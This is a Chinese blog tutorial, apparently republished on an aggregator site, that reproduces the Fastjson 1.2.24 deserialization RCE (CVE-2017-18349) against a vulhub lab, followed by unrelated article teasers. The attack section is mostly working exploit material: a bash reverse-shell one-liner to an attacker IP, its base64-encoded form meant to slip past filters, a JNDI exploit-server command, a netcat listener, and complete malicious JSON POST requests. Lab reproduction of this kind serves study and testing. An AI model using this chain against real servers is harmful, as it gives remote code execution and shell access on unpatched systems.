【超详细】Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell(CVE-2017-18349)

news2024/11/19 21:26:37

前言:

看了很多别人关于漏洞复现过程,很多博客过程简洁,有的过程过于复杂,比如看到写java代码,用javac进行编译等等。所以我想写出比较详细的漏洞复现过程。

一,漏洞介绍

1-1 fastjson是什么

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了


1-2 影响版本

fastjson <= 1.2.24

二,靶场搭建

靶场主机:kali2023  192.168.31.150

基于vulhub靶场搭建(靶场可以在github上下载或留言)

ls

cd vulhub-master

cd fastjson

cd 1.2.24-rce

 启动靶场需要dokcer环境,安装docker请参考下面这篇文章 

docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790?spm=1001.2014.3001.5502docker装完成以后,就可以用docker命令启动靶场了(在1.2.24-rce目录下执行)

docker-compose up -d

可以查看一下启动的容器

docker ps

 成功启动靶场了,把靶场镜像的 8090端口映射到了本地8090端口,浏览器进行访问

看到此页面说明靶场搭建完毕 

三,漏洞利用

3-1 漏洞验证

先用dnslog外带方式验证一下漏洞存不存在

dnslog地址

DNSLog PlatformDNSLog平台icon-default.png?t=N7T8http://www.dnslog.cn/

记住给的这个域名

然后对下面的192.168.31.150页面抓包

源数据包如下

修改数据包 

请求方式GET改成POST

加上Content-Type:application/json 请求头字段

加请求体数据,内容如下

{
	"a":{
	"@type":"java.net.Inet4Address",
	"val":"申请的域名"
	}
}

修改后的请求包如下

POST / HTTP/1.1
Host: 192.168.31.150:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type:application/json
Connection: close
Content-Length: 84


{
	"a":{
	"@type":"java.net.Inet4Address",
	"val":"1ys8oo.dnslog.cn"
	}
}

点击发送

再刷新dnslog页面,查看有无变化 

发现有记录了,能收到靶场发来的内容,说明存漏洞

3-2 getshell 

靶场主机:kali2023  192.168.31.150

攻击机1:kali2022  192.168.31.20

攻击机2:kali2023 192.168.31.160

工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

工具下载地址:

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0icon-default.png?t=N7T8https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

 

3-2-1 getshell思路图解

3-2-2 搭建JNDI服务器 

2-1 准备反向木马

先准备连接攻击机2的反向木马(192.168.31.160/4444)

bash -i >& /dev/tcp/192.168.31.160/4444 0>&1
2-2 对木马进行base64编码

编码是常见做法,比较保险,因为目标服务器可能会对/ > & 等符号进行过滤,编码可以绕过这些问题

推荐大家一个网站,用这个网站去编码很方便 

Runtime.exec Payload Generater | AresX's BlogThere is no descriptionicon-default.png?t=N7T8https://ares-x.com/tools/runtime-exec

 得到了编码以后的结果为

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
 2-3 启动JNDI服务器

把下载好的工具放到攻击机1上,启动服务器,用以下命令

(避坑:用kali2022或以下的主机运行,由于jdk版本问题kali2023后面会报错,会出问题

中间部分是准备编码后的木马内容,最后是攻击机1的IP地址

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A "192.168.31.20"

运行成功后如下图 ,看到的紫色的是生成的payload,过一会修改数据包的时候要用

3-2-3 攻击机2监听端口 

攻击机2监听4444端口等待靶场连接

nc -lvvp 4444

3-2-4 抓包,改包,发包

4-1 抓包

4-2 改包 

请求方式GET改成POST

加上Content-Type:application/json 请求头字段

加请求体数据,内容如下

(注意替换payload) 

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.31.20:1099/j9ml3s",
        "autoCommit":true
    }
}

 修改后的完整数据包如下

POST / HTTP/1.1
Host: 192.168.31.150:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type:application/json
Connection: close
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.31.20:1099/j9ml3s",
        "autoCommit":true
    }
}
3-2-5 发包

发完以后回来查看攻击机1和攻击机2 

攻击机1:发现靶场确实去攻击机1这里来拿木马文件了

闭坑:如果你报了如下错误,请换个jdk版本,或者换个主机(kali2022比较合适) 

攻击机2:发现连接成功了,既getshell了

漏洞复现及利用过程到此结束 

如果想复现更多常见漏洞可以看看我写的其他漏洞复现博客,超详细

如果有疑问,有问题或者需要工具请留言

欢迎留言技术研究,讨论

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1046502.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

xorm数据库操作之Join、Union

golang的数据库操作xorm使用起来非常方便&#xff0c;不用再自己写SQl语句&#xff0c;而且xorm自己给我们做了SQL防注入等操作&#xff0c;用起来既方便又安全。此次文章我不会记录xorm的基本操作&#xff0c;我值记录一些特殊用法问题&#xff0c;包括动态创建表单、基于xorm…

Spring大白话--三级缓存解决循环依赖问题

文章目录 前言一、Spring 循环依赖是什么&#xff1f;二、Spring 三级缓存解决单例的循环依赖&#xff1a;2.1 Bean 单例对象生成的过程&#xff1a;2.2 三级缓存工作过程&#xff1a; 三、Spring 三级缓存无法解决的单例循环依赖情况&#xff1a;3.1 通过构造方法注入的bean &…

如何优化网站排名(百度SEO指南与优化布局方法)

百度SEO指南介绍&#xff1a;蘑菇号-www.mooogu.cn 首先&#xff0c;为了提高网站的搜索引擎优化排名&#xff0c;需要遵循百度SEO指南的规则和标准。这包括使用符合规范的网站结构、页面内容的质量和与目标用户相关的关键词。避免使用非法技术和黑帽SEO的方法。 增加百度SEO…

如何快速重置模型原点

1、什么是模型原点&#xff1f; 模型原点是三维建模中的概念&#xff0c;它是指在一个虚拟三维空间中确定的参考点。模型原点通常位于模型的几何中心或基本组件的中心位置。如图所示&#xff1a; 可以看到模型的原点在模型的几何中心 2、模型原点的作用 知道了什么是模型原点&…

AVL Cruise 2020.1 安装教程

文章目录 安装包安装破解 安装包 链接&#xff1a;https://pan.baidu.com/s/1GxbeDj_SyvKFyPeTsstvTQ?pwd6666 提取码&#xff1a;6666 安装 安装文件&#xff1a; 双击setup.exe&#xff1a; 一直netx&#xff0c;中间要修改两次路径&#xff0c;第一次是安装位置&#xf…

常用螺栓标准、规格、用途汇总表

螺栓 1 常用螺栓标准、用途 常用螺栓标准、规格、用途见表1。 表1 常用螺栓标准、规格、用途汇总表 注&#xff1a;1.冷镦工艺生产的小六角头螺栓具有材料利用率高、生产效率高、机械性能高等优点,但由于头部尺寸较小, 不宜用于多次装拆、被联接件强度较低和易锈蚀等场合。 2.…

Mac多协议传输和文件管理工具ForkLift 4

ForkLift 4 for Mac 是一个强大的文件管理工具&#xff0c;具有直观的界面和强大的功能。它提供了一个直观的界面&#xff0c;使用户能够轻松地管理他们的文件和目录&#xff0c;以及进行各种操作&#xff0c;如复制、移动、重命名、删除等。 它还支持多种文件传输协议&#x…

PHP开发框架及特点

PHP有许多开发框架&#xff0c;每个框架都有其独特的特点和用途。以下是一些常见的PHP开发框架以及它们的特点&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.Laravel Laravel是一个流行的PHP框架…

踩坑 | vue动态绑定img标签src属性的一系列报错

文章目录 踩坑 | vue项目运行后使用require()图片也不显示问题描述vue中动态设置img的src不生效问题的原因require is not defined 解决办法1&#xff1a;src属性直接传入地址解决办法2 踩坑 | vue项目运行后使用require()图片也不显示 问题描述 在网上查阅之后&#xff0c;发…

攻防世界题目练习——Reverse新手+引导模式

题目目录 1. 6662.Reversing-x64Elf-1003. easyRE14. insanity5. open-source6. game7. Hello, CTF8. re1 1. 666 下载附件 用IDA Pro打开文件&#xff0c;直接看到main入口&#xff0c;反编译查看代码如下&#xff1a; 注&#xff1a;strcmp(a,b)函数当ab时返回值为0。 int …

深度学习|如何确定 CUDA+PyTorch 版本

对于深度学习初学者来说&#xff0c;配置深度学习的环境可能是一大难题&#xff0c;因此本文主要讲解CUDA; cuDNN; Pytorch 三者是什么&#xff0c;以及他们之间的依赖关系。 CUDA CUDA&#xff08;Compute Unified Device Architecture&#xff09;是由NVIDIA开发的用于并行计…

【CMU15-445 Part-12】Query Execution I

Part12-Query Execution I Processing Models Processing Model主要指的是明确如何去执行一个查询计划&#xff08;top 2 bottom or bottom 2 top,operator之间的传递&#xff09;。 Iterator Model (volcano model/pipeline model);每个算子实现一个Next( )&#xff0c;父…

Matlab中clear,close all,clc功能详细说明

背景&#xff1a; 我们在写matlab程序时&#xff0c;首行总是先敲入&#xff1a;clear; close all; clc;&#xff0c;但你真的知道这三句话的具体作用嘛&#xff0c;下面进行详细说明和演示。 一、clear的功能 clear的功能&#xff1a;清理工作区变量&#xff0c;不清理前是…

每日一练 | 华为认证真题练习Day115

1、FEC(Forwarding Equivalence Class)转发等价类&#xff0c;是一组具有某些共性的数据流的集合&#xff1b;FEC可以根据地址进行划分&#xff0c;但是不能根据业务类型、QoS等要素进行划分。 A. 对 B. 错 2、关于OSI参考模型中网络层的功能说法正确的是&#xff1f; A. OS…

Linux部署elk日志监控系统

目录 一、简介 二、部署elasticsearch 2.1 安装jdk11&#xff08;jdk版本>11&#xff09; 2.2 下载安装包 2.3 授权elk用户 2.4 配置elasticsearch.yml 2.5 启动elasticsearch 三、部署logstash 3.1 启动测试 3.2 可能出现的报错 3.3 指定配置文件启动logstash 3.4 安装El…

【基于Qt和OpenCV的多线程图像识别应用】

基于Qt和OpenCV的多线程图像识别应用 前言多线程编程为什么需要多线程Qt如何实现多线程线程间通信 图像识别项目代码项目结构各部分代码 项目演示小结 前言 这是一个简单的小项目&#xff0c;使用Qt和OpenCV构建的多线程图像识别应用程序&#xff0c;旨在识别图像中的人脸并将…

作为产品经理,你是如何分析和管理你的产品需求的?

作为一名产品经理&#xff0c;分析和管理产品需求是非常重要的工作。在产品开发周期中&#xff0c;需求调研、需求分析、需求管理等环节都是非常关键的&#xff0c;因为好的需求管理能够直接影响产品的质量和用户体验。 需求调研 在进行需求调研的过程中&#xff0c;我们首先…

App开发者如何从立项着手,奠定商业化基础,完成0到1转变?

随着移动互联技术的发展&#xff0c;流量即价值的观念深入人心&#xff0c;大量不同细分领域的移动应用进入市场。根据工信部公布数据&#xff0c;2023年上半年&#xff0c;我国国内市场上监测到活跃的APP数量为260万款&#xff08;包括安卓和苹果商店&#xff09;&#xff0c;…

Visual Studio 如何删除多余的空行,仅保留一行空行

1.CtrlH 打开替换窗口&#xff08;注意选择合适的查找范围&#xff09; VS2010: VS2017、VS2022: 2.复制下面正则表达式到上面的选择窗口&#xff1a; VS2010: ^(\s*)$\n\n VS2017: ^(\s*)$\n\n VS2022:^(\s*)$\n 3.下面的替换窗口皆写入 \n VS2010: \n VS2017: \n VS2022: \n …

铁路用热轧钢轨

声明 本文是学习GB-T 2585-2021 铁路用热轧钢轨. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 1 范围 本标准规定了铁路用钢轨的订货内容、分类、尺寸、外形、质量及允许偏差、技术要求、试验方法、检 验规则、标志及质量证明书。 本标准适用于3…